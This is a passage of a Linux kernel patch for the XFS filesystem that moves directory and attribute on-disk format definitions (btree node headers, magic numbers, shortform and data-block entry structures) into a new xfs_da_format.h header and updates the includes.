accessed purely from helper functions. - * - * struct xfs_attr_leaf_name_local - * struct xfs_attr_leaf_name_remote - */ -}; - -/* - * incore, neutral version of the attribute leaf header - */ -struct xfs_attr3_icleaf_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t usedbytes; - __uint16_t firstused; - __u8 holes; - struct { - __uint16_t base; - __uint16_t size; - } freemap[XFS_ATTR_LEAF_MAPSIZE]; -}; - -/* - * Flags used in the leaf_entry[i].flags field. - * NOTE: the INCOMPLETE bit must not collide with the flags bits specified - * on the system call, they are "or"ed together for various operations. - */ -#define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ -#define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ -#define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ -#define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ -#define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) -#define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) -#define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) -#define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) - -/* - * Conversion macros for converting namespace bits from argument flags - * to ondisk flags. - */ -#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) -#define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) -#define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ - ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) -#define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ - ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) - -/* - * Alignment for namelist and valuelist entries (since they are mixed - * there can be only one alignment value) - */ -#define XFS_ATTR_LEAF_NAME_ALIGN ((uint)sizeof(xfs_dablk_t)) - -static inline int -xfs_attr3_leaf_hdr_size(struct xfs_attr_leafblock *leafp) -{ - if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) - return sizeof(struct xfs_attr3_leaf_hdr); - return sizeof(struct xfs_attr_leaf_hdr); -} - -static inline struct xfs_attr_leaf_entry * -xfs_attr3_leaf_entryp(xfs_attr_leafblock_t *leafp) -{ - if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) - return &((struct xfs_attr3_leafblock *)leafp)->entries[0]; - return &leafp->entries[0]; -} - -/* - * Cast typed pointers for "local" and "remote" name/value structs. - */ -static inline char * -xfs_attr3_leaf_name(xfs_attr_leafblock_t *leafp, int idx) -{ - struct xfs_attr_leaf_entry *entries = xfs_attr3_leaf_entryp(leafp); - - return &((char *)leafp)[be16_to_cpu(entries[idx].nameidx)]; -} - -static inline xfs_attr_leaf_name_remote_t * -xfs_attr3_leaf_name_remote(xfs_attr_leafblock_t *leafp, int idx) -{ - return (xfs_attr_leaf_name_remote_t *)xfs_attr3_leaf_name(leafp, idx); -} - -static inline xfs_attr_leaf_name_local_t * -xfs_attr3_leaf_name_local(xfs_attr_leafblock_t *leafp, int idx) -{ - return (xfs_attr_leaf_name_local_t *)xfs_attr3_leaf_name(leafp, idx); -} - -/* - * Calculate total bytes used (including trailing pad for alignment) for - * a "local" name/value structure, a "remote" name/value structure, and - * a pointer which might be either. - */ -static inline int xfs_attr_leaf_entsize_remote(int nlen) -{ - return ((uint)sizeof(xfs_attr_leaf_name_remote_t) - 1 + (nlen) + \ - XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); -} - -static inline int xfs_attr_leaf_entsize_local(int nlen, int vlen) -{ - return ((uint)sizeof(xfs_attr_leaf_name_local_t) - 1 + (nlen) + (vlen) + - XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); -} - -static inline int xfs_attr_leaf_entsize_local_max(int bsize) -{ - return (((bsize) >> 1) + ((bsize) >> 2)); -} - /* * Used to keep a list of "remote value" extents when unlinking an inode. */ diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index cbc80d4..8ba8e4b 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -25,6 +25,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 712a502..578f21b 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_error.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_attr_remote.h b/fs/xfs/xfs_attr_remote.h index b3e1e1b..5a9acfa 100644 --- a/fs/xfs/xfs_attr_remote.h +++ b/fs/xfs/xfs_attr_remote.h @@ -18,33 +18,6 @@ #ifndef __XFS_ATTR_REMOTE_H__ #define __XFS_ATTR_REMOTE_H__ -#define XFS_ATTR3_RMT_MAGIC 0x5841524d /* XARM */ - -/* - * There is one of these headers per filesystem block in a remote attribute. - * This is done to ensure there is a 1:1 mapping between the attribute value - * length and the number of blocks needed to store the attribute. This makes the - * verification of a buffer a little more complex, but greatly simplifies the - * allocation, reading and writing of these attributes as we don't have to guess - * the number of blocks needed to store the attribute data. - */ -struct xfs_attr3_rmt_hdr { - __be32 rm_magic; - __be32 rm_offset; - __be32 rm_bytes; - __be32 rm_crc; - uuid_t rm_uuid; - __be64 rm_owner; - __be64 rm_blkno; - __be64 rm_lsn; -}; - -#define XFS_ATTR3_RMT_CRC_OFF offsetof(struct xfs_attr3_rmt_hdr, rm_crc) - -#define XFS_ATTR3_RMT_BUF_SPACE(mp, bufsize) \ - ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ - sizeof(struct xfs_attr3_rmt_hdr) : 0)) - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index aee6a00..c7eed87 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -26,8 +26,8 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index a6b1c08..ecec201 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -27,7 +27,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index ac51abe..4ec68c3 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -26,9 +26,9 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_dinode.h" diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index a762cfa..e492dca 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -25,146 +25,6 @@ struct xfs_trans; struct zone; /*======================================================================== - * Directory Structure when greater than XFS_LBSIZE(mp) bytes. - *========================================================================*/ - -/* - * This structure is common to both leaf nodes and non-leaf nodes in the Btree. - * - * It is used to manage a doubly linked list of all blocks at the same - * level in the Btree, and to identify which type of block this is. - */ -#define XFS_DA_NODE_MAGIC 0xfebe /* magic number: non-leaf blocks */ -#define XFS_ATTR_LEAF_MAGIC 0xfbee /* magic number: attribute leaf blks */ -#define XFS_DIR2_LEAF1_MAGIC 0xd2f1 /* magic number: v2 dirlf single blks */ -#define XFS_DIR2_LEAFN_MAGIC 0xd2ff /* magic number: v2 dirlf multi blks */ - -typedef struct xfs_da_blkinfo { - __be32 forw; /* previous block in list */ - __be32 back; /* following block in list */ - __be16 magic; /* validity check on block */ - __be16 pad; /* unused */ -} xfs_da_blkinfo_t; - -/* - * CRC enabled directory structure types - * - * The headers change size for the additional verification information, but - * otherwise the tree layouts and contents are unchanged. Hence the da btree - * code can use the struct xfs_da_blkinfo for manipulating the tree links and - * magic numbers without modification for both v2 and v3 nodes. - */ -#define XFS_DA3_NODE_MAGIC 0x3ebe /* magic number: non-leaf blocks */ -#define XFS_ATTR3_LEAF_MAGIC 0x3bee /* magic number: attribute leaf blks */ -#define XFS_DIR3_LEAF1_MAGIC 0x3df1 /* magic number: v2 dirlf single blks */ -#define XFS_DIR3_LEAFN_MAGIC 0x3dff /* magic number: v2 dirlf multi blks */ - -struct xfs_da3_blkinfo { - /* - * the node link manipulation code relies on the fact that the first - * element of this structure is the struct xfs_da_blkinfo so it can - * ignore the differences in the rest of the structures. - */ - struct xfs_da_blkinfo hdr; - __be32 crc; /* CRC of block */ - __be64 blkno; /* first block of the buffer */ - __be64 lsn; /* sequence number of last write */ - uuid_t uuid; /* filesystem we belong to */ - __be64 owner; /* inode that owns the block */ -}; - -/* - * This is the structure of the root and intermediate nodes in the Btree. - * The leaf nodes are defined above. - * - * Entries are not packed. - * - * Since we have duplicate keys, use a binary search but always follow - * all match in the block, not just the first match found. - */ -#define XFS_DA_NODE_MAXDEPTH 5 /* max depth of Btree */ - -typedef struct xfs_da_node_hdr { - struct xfs_da_blkinfo info; /* block type, links, etc. */ - __be16 __count; /* count of active entries */ - __be16 __level; /* level above leaves (leaf == 0) */ -} xfs_da_node_hdr_t; - -struct xfs_da3_node_hdr { - struct xfs_da3_blkinfo info; /* block type, links, etc. */ - __be16 __count; /* count of active entries */ - __be16 __level; /* level above leaves (leaf == 0) */ - __be32 __pad32; -}; - -#define XFS_DA3_NODE_CRC_OFF (offsetof(struct xfs_da3_node_hdr, info.crc)) - -typedef struct xfs_da_node_entry { - __be32 hashval; /* hash value for this descendant */ - __be32 before; /* Btree block before this key */ -} xfs_da_node_entry_t; - -typedef struct xfs_da_intnode { - struct xfs_da_node_hdr hdr; - struct xfs_da_node_entry __btree[]; -} xfs_da_intnode_t; - -struct xfs_da3_intnode { - struct xfs_da3_node_hdr hdr; - struct xfs_da_node_entry __btree[]; -}; - -/* - * In-core version of the node header to abstract the differences in the v2 and - * v3 disk format of the headers. Callers need to convert to/from disk format as - * appropriate. - */ -struct xfs_da3_icnode_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t level; -}; - -extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -static inline int -__xfs_da3_node_hdr_size(bool v3) -{ - if (v3) - return sizeof(struct xfs_da3_node_hdr); - return sizeof(struct xfs_da_node_hdr); -} -static inline int -xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) -{ - bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); - - return __xfs_da3_node_hdr_size(v3); -} - -static inline struct xfs_da_node_entry * -xfs_da3_node_tree_p(struct xfs_da_intnode *dap) -{ - if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { - struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; - return dap3->__btree; - } - return dap->__btree; -} - -extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -#define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize - -/*======================================================================== * Btree searching and modification structure definitions. *========================================================================*/ diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h new file mode 100644 index 0000000..89a1a21 --- /dev/null +++ b/fs/xfs/xfs_da_format.h @@ -0,0 +1,1362 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_DA_FORMAT_H__ +#define __XFS_DA_FORMAT_H__ + +/*======================================================================== + * Directory Structure when greater than XFS_LBSIZE(mp) bytes. + *========================================================================*/ + +/* + * This structure is common to both leaf nodes and non-leaf nodes in the Btree. + * + * It is used to manage a doubly linked list of all blocks at the same + * level in the Btree, and to identify which type of block this is. + */ +#define XFS_DA_NODE_MAGIC 0xfebe /* magic number: non-leaf blocks */ +#define XFS_ATTR_LEAF_MAGIC 0xfbee /* magic number: attribute leaf blks */ +#define XFS_DIR2_LEAF1_MAGIC 0xd2f1 /* magic number: v2 dirlf single blks */ +#define XFS_DIR2_LEAFN_MAGIC 0xd2ff /* magic number: v2 dirlf multi blks */ + +typedef struct xfs_da_blkinfo { + __be32 forw; /* previous block in list */ + __be32 back; /* following block in list */ + __be16 magic; /* validity check on block */ + __be16 pad; /* unused */ +} xfs_da_blkinfo_t; + +/* + * CRC enabled directory structure types + * + * The headers change size for the additional verification information, but + * otherwise the tree layouts and contents are unchanged. Hence the da btree + * code can use the struct xfs_da_blkinfo for manipulating the tree links and + * magic numbers without modification for both v2 and v3 nodes. + */ +#define XFS_DA3_NODE_MAGIC 0x3ebe /* magic number: non-leaf blocks */ +#define XFS_ATTR3_LEAF_MAGIC 0x3bee /* magic number: attribute leaf blks */ +#define XFS_DIR3_LEAF1_MAGIC 0x3df1 /* magic number: v2 dirlf single blks */ +#define XFS_DIR3_LEAFN_MAGIC 0x3dff /* magic number: v2 dirlf multi blks */ + +struct xfs_da3_blkinfo { + /* + * the node link manipulation code relies on the fact that the first + * element of this structure is the struct xfs_da_blkinfo so it can + * ignore the differences in the rest of the structures. + */ + struct xfs_da_blkinfo hdr; + __be32 crc; /* CRC of block */ + __be64 blkno; /* first block of the buffer */ + __be64 lsn; /* sequence number of last write */ + uuid_t uuid; /* filesystem we belong to */ + __be64 owner; /* inode that owns the block */ +}; + +/* + * This is the structure of the root and intermediate nodes in the Btree. + * The leaf nodes are defined above. + * + * Entries are not packed. + * + * Since we have duplicate keys, use a binary search but always follow + * all match in the block, not just the first match found. + */ +#define XFS_DA_NODE_MAXDEPTH 5 /* max depth of Btree */ + +typedef struct xfs_da_node_hdr { + struct xfs_da_blkinfo info; /* block type, links, etc. */ + __be16 __count; /* count of active entries */ + __be16 __level; /* level above leaves (leaf == 0) */ +} xfs_da_node_hdr_t; + +struct xfs_da3_node_hdr { + struct xfs_da3_blkinfo info; /* block type, links, etc. */ + __be16 __count; /* count of active entries */ + __be16 __level; /* level above leaves (leaf == 0) */ + __be32 __pad32; +}; + +#define XFS_DA3_NODE_CRC_OFF (offsetof(struct xfs_da3_node_hdr, info.crc)) + +typedef struct xfs_da_node_entry { + __be32 hashval; /* hash value for this descendant */ + __be32 before; /* Btree block before this key */ +} xfs_da_node_entry_t; + +typedef struct xfs_da_intnode { + struct xfs_da_node_hdr hdr; + struct xfs_da_node_entry __btree[]; +} xfs_da_intnode_t; + +struct xfs_da3_intnode { + struct xfs_da3_node_hdr hdr; + struct xfs_da_node_entry __btree[]; +}; + +/* + * In-core version of the node header to abstract the differences in the v2 and + * v3 disk format of the headers. Callers need to convert to/from disk format as + * appropriate. + */ +struct xfs_da3_icnode_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t level; +}; + +extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); +extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + +static inline int +__xfs_da3_node_hdr_size(bool v3) +{ + if (v3) + return sizeof(struct xfs_da3_node_hdr); + return sizeof(struct xfs_da_node_hdr); +} +static inline int +xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) +{ + bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); + + return __xfs_da3_node_hdr_size(v3); +} + +static inline struct xfs_da_node_entry * +xfs_da3_node_tree_p(struct xfs_da_intnode *dap) +{ + if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { + struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; + return dap3->__btree; + } + return dap->__btree; +} + +extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); +extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + +#define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize + +/* + * Directory version 2. + * + * There are 4 possible formats: + * - shortform - embedded into the inode + * - single block - data with embedded leaf at the end + * - multiple data blocks, single leaf+freeindex block + * - data blocks, node and leaf blocks (btree), freeindex blocks + * + * Note: many node blocks structures and constants are shared with the attr + * code and defined in xfs_da_btree.h. + */ + +#define XFS_DIR2_BLOCK_MAGIC 0x58443242 /* XD2B: single block dirs */ +#define XFS_DIR2_DATA_MAGIC 0x58443244 /* XD2D: multiblock dirs */ +#define XFS_DIR2_FREE_MAGIC 0x58443246 /* XD2F: free index blocks */ + +/* + * Directory Version 3 With CRCs. + * + * The tree formats are the same as for version 2 directories. The difference + * is in the block header and dirent formats. In many cases the v3 structures + * use v2 definitions as they are no different and this makes code sharing much + * easier. + * + * Also, the xfs_dir3_*() functions handle both v2 and v3 formats - if the + * format is v2 then they switch to the existing v2 code, or the format is v3 + * they implement the v3 functionality. This means the existing dir2 is a mix of + * xfs_dir2/xfs_dir3 calls and functions. The xfs_dir3 functions are called + * where there is a difference in the formats, otherwise the code is unchanged. + * + * Where it is possible, the code decides what to do based on the magic numbers + * in the blocks rather than feature bits in the superblock. This means the code + * is as independent of the external XFS code as possible as doesn't require + * passing struct xfs_mount pointers into places where it isn't really + * necessary. + * + * Version 3 includes: + * + * - a larger block header for CRC and identification purposes and so the + * offsets of all the structures inside the blocks are different. + * + * - new magic numbers to be able to detect the v2/v3 types on the fly. + */ + +#define XFS_DIR3_BLOCK_MAGIC 0x58444233 /* XDB3: single block dirs */ +#define XFS_DIR3_DATA_MAGIC 0x58444433 /* XDD3: multiblock dirs */ +#define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ + +/* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* + * Byte offset in data block and shortform entry. + */ +typedef __uint16_t xfs_dir2_data_off_t; +#define NULLDATAOFF 0xffffU +typedef uint xfs_dir2_data_aoff_t; /* argument form */ + +/* + * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. + * Only need 16 bits, this is the byte offset into the single block form. + */ +typedef struct { __uint8_t i[2]; } __arch_pack xfs_dir2_sf_off_t; + +/* + * Offset in data space of a data entry. + */ +typedef __uint32_t xfs_dir2_dataptr_t; +#define XFS_DIR2_MAX_DATAPTR ((xfs_dir2_dataptr_t)0xffffffff) +#define XFS_DIR2_NULL_DATAPTR ((xfs_dir2_dataptr_t)0) + +/* + * Byte offset in a directory. + */ +typedef xfs_off_t xfs_dir2_off_t; + +/* + * Directory block number (logical dirblk in file) + */ +typedef __uint32_t xfs_dir2_db_t; + +/* + * Inode number stored as 8 8-bit values. + */ +typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; + +/* + * Inode number stored as 4 8-bit values. + * Works a lot of the time, when all the inode numbers in a directory + * fit in 32 bits. + */ +typedef struct { __uint8_t i[4]; } xfs_dir2_ino4_t; + +typedef union { + xfs_dir2_ino8_t i8; + xfs_dir2_ino4_t i4; +} xfs_dir2_inou_t; +#define XFS_DIR2_MAX_SHORT_INUM ((xfs_ino_t)0xffffffffULL) + +/* + * Directory layout when stored internal to an inode. + * + * Small directories are packed as tightly as possible so as to fit into the + * literal area of the inode. These "shortform" directories consist of a + * single xfs_dir2_sf_hdr header followed by zero or more xfs_dir2_sf_entry + * structures. Due the different inode number storage size and the variable + * length name field in the xfs_dir2_sf_entry all these structure are + * variable length, and the accessors in this file should be used to iterate + * over them. + */ +typedef struct xfs_dir2_sf_hdr { + __uint8_t count; /* count of entries */ + __uint8_t i8count; /* count of 8-byte inode #s */ + xfs_dir2_inou_t parent; /* parent dir inode number */ +} __arch_pack xfs_dir2_sf_hdr_t; + +typedef struct xfs_dir2_sf_entry { + __u8 namelen; /* actual name length */ + xfs_dir2_sf_off_t offset; /* saved offset */ + __u8 name[]; /* name, variable size */ + /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * + * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a + * variable offset after the name. + */ +} __arch_pack xfs_dir2_sf_entry_t; + +static inline int xfs_dir2_sf_hdr_size(int i8count) +{ + return sizeof(struct xfs_dir2_sf_hdr) - + (i8count == 0) * + (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) +{ + return get_unaligned_be16(&sfep->offset.i); +} + +static inline void +xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) +{ + put_unaligned_be16(off, &sfep->offset.i); +} + +static inline struct xfs_dir2_sf_entry * +xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); +} + +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + +static inline struct xfs_dir2_sf_entry * +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); +} + +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} + +/* + * Data block structures. + * + * A pure data block looks like the following drawing on disk: + * + * +-------------------------------------------------+ + * | xfs_dir2_data_hdr_t | + * +-------------------------------------------------+ + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | ... | + * +-------------------------------------------------+ + * | unused space | + * +-------------------------------------------------+ + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + * + * In addition to the pure data blocks for the data and node formats, + * most structures are also used for the combined data/freespace "block" + * format below. + */ + +#define XFS_DIR2_DATA_ALIGN_LOG 3 /* i.e., 8 bytes */ +#define XFS_DIR2_DATA_ALIGN (1 << XFS_DIR2_DATA_ALIGN_LOG) +#define XFS_DIR2_DATA_FREE_TAG 0xffff +#define XFS_DIR2_DATA_FD_COUNT 3 + +/* + * Directory address space divided into sections, + * spaces separated by 32GB. + */ +#define XFS_DIR2_SPACE_SIZE (1ULL << (32 + XFS_DIR2_DATA_ALIGN_LOG)) +#define XFS_DIR2_DATA_SPACE 0 +#define XFS_DIR2_DATA_OFFSET (XFS_DIR2_DATA_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_DATA_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_DATA_OFFSET) + +/* + * Describe a free area in the data block. + * + * The freespace will be formatted as a xfs_dir2_data_unused_t. + */ +typedef struct xfs_dir2_data_free { + __be16 offset; /* start of freespace */ + __be16 length; /* length of freespace */ +} xfs_dir2_data_free_t; + +/* + * Header for the data blocks. + * + * The code knows that XFS_DIR2_DATA_FD_COUNT is 3. + */ +typedef struct xfs_dir2_data_hdr { + __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ + /* XFS_DIR2_BLOCK_MAGIC */ + xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; +} xfs_dir2_data_hdr_t; + +/* + * define a structure for all the verification fields we are adding to the + * directory block structures. This will be used in several structures. + * The magic number must be the first entry to align with all the dir2 + * structures so we determine how to decode them just by the magic number. + */ +struct xfs_dir3_blk_hdr { + __be32 magic; /* magic number */ + __be32 crc; /* CRC of block */ + __be64 blkno; /* first block of the buffer */ + __be64 lsn; /* sequence number of last write */ + uuid_t uuid; /* filesystem we belong to */ + __be64 owner; /* inode that owns the block */ +}; + +struct xfs_dir3_data_hdr { + struct xfs_dir3_blk_hdr hdr; + xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; + __be32 pad; /* 64 bit alignment */ +}; + +#define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) + +static inline struct xfs_dir2_data_free * +xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) +{ + if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { + struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; + return hdr3->best_free; + } + return hdr->bestfree; +} + +/* + * Active entry in a data block. + * + * Aligned to 8 bytes. After the variable length name field there is a + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. + */ +typedef struct xfs_dir2_data_entry { + __be64 inumber; /* inode number */ + __u8 namelen; /* name length */ + __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ + /* __be16 tag; */ /* starting offset of us */ +} xfs_dir2_data_entry_t; + +/* + * Unused entry in a data block. + * + * Aligned to 8 bytes. Tag appears as the last 2 bytes and must be accessed + * using xfs_dir2_data_unused_tag_p. + */ +typedef struct xfs_dir2_data_unused { + __be16 freetag; /* XFS_DIR2_DATA_FREE_TAG */ + __be16 length; /* total free length */ + /* variable offset */ + __be16 tag; /* starting offset of us */ +} xfs_dir2_data_unused_t; + +/* + * Size of a data entry. + */ +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) +{ + int size = offsetof(struct 